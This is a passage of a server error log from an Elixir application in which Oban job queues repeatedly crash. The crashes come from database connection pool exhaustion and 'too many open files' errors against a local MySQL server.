    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:41:44.239197Z], limit: 50, uuid: "4d757033-8026-4e20-8240-2536a649b39d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:44.239203Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208756>, refresh_timer: #Reference<0.2525715032.1121189889.86192>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:41:44.239352Z], limit: 20, uuid: "d4ae1095-b771-4fcf-87fd-1c6357e3c0e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:44.239357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208755>, refresh_timer: #Reference<0.2525715032.1121189889.86191>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:41:44.240557Z], limit: 3, uuid: "d5ffa2ec-93a6-497e-ad7c-8ebeabba6788", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:44.240563Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208753>, refresh_timer: #Reference<0.2525715032.1077411843.208735>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:41:44.239910Z], limit: 10, uuid: "3bd8085c-4edd-405e-8d1f-ceb31a711bc4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:44.239916Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208754>, refresh_timer: #Reference<0.2525715032.1068236804.233098>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:41:44.238793Z], limit: 5, uuid: "f1221f0a-8d9f-4a86-aacb-5b6bceae9f11", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:44.238800Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208752>, refresh_timer: #Reference<0.2525715032.1077411843.208706>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:56.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:56.545000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:56.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:00.549000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:01.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:02.394000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:05.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:07.071000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:41:56.239762Z], limit: 3, uuid: "85e6e9b4-1e6a-41ef-b411-c4cf950e5546", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:56.239768Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209102>, refresh_timer: #Reference<0.2525715032.1099169794.241346>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:41:56.240827Z], limit: 5, uuid: "61fbc450-c242-4010-9ef3-cb2d22ea07a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:56.240833Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209098>, refresh_timer: #Reference<0.2525715032.1077411843.209089>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:41:56.238959Z], limit: 50, uuid: "99efdc07-211a-4e39-ae41-29b3e7a0f75d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:56.238966Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209101>, refresh_timer: #Reference<0.2525715032.1099169794.241333>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:41:56.239231Z], limit: 20, uuid: "afc8b9ff-2fbf-4ba2-ba1b-b0584f3432df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:56.239237Z]}, name: 